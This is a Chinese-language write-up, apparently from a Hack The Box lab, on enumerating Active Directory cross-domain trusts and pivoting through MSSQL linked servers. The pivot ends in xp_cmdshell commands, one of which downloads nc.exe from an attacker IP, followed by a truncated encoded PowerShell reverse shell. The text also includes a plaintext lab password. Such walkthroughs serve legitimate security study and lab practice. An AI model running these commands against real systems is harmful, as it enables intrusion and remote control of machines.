AD 跨域信任利用

1. 信息枚举

1.1. windows

# 查询所有信任(包括外部)
nltest /domain_trusts /all_trusts

# 查询本地服务器的信任
nltest /domain_trusts

# 查询指定域控的信任
nltest /domain_trusts /server:DC01

1.2. linux

linux下可以用ldeep

┌──(root㉿kali)-[~/Desktop/htb/Season9/DarkZero]
└─# ldeep ldap -u john.w -p 'RFulUtONCOL!' -d darkzero.htb -s ldap://10.129.58.102 trusts
dn: CN=darkzero.ext,CN=System,DC=darkzero,DC=htb
cn: darkzero.ext
securityIdentifier: S-1-5-21-1969715525-31638512-2552845157
name: darkzero.ext
trustDirection: bidirectional
trustPartner: darkzero.ext
trustType: Windows domain running Active Directory
trustAttributes: FOREST_TRANSITIVE | CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION
flatName: darkzero-ext
  • CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION 跨组织 TGT 委派已启用
  • bidirectional 双向信任

还可以用其他的命令

# ldapsearch-ad
ldapsearch-ad --server "$DC_HOST" --domain "$DOMAIN" --username "$USER" --password "$PASSWORD" --type trusts

# ldapsearch
ldapsearch -h ldap://"$DC_IP" -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

1.3. bloodhound

BloodHound 也可用于映射信任关系。虽然它不提供太多细节,但能显示可视化表示。
Pasted image 20251009010753.png

1:先用 enum_links 枚举是否有链接服务器(跨域信任关系)
Pasted image 20251008222507.png

  • 这里有一个指向 DC02.darkzero.ext 的链接服务器
  • DC01 上的用户为 darkzero\john.w ,切换到 DC02 后继承 dc01_sql_svc 的权限

2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w 用户在DC01的mssql的角色为 guest 但在 DC02 的mssql服务上的角色是 SA

use_link [DC02.darkzero.ext]

Pasted image 20251008232733.png

3:提权执行命令反弹shell

enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'

#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU...

Pasted image 20251008233020.png

3.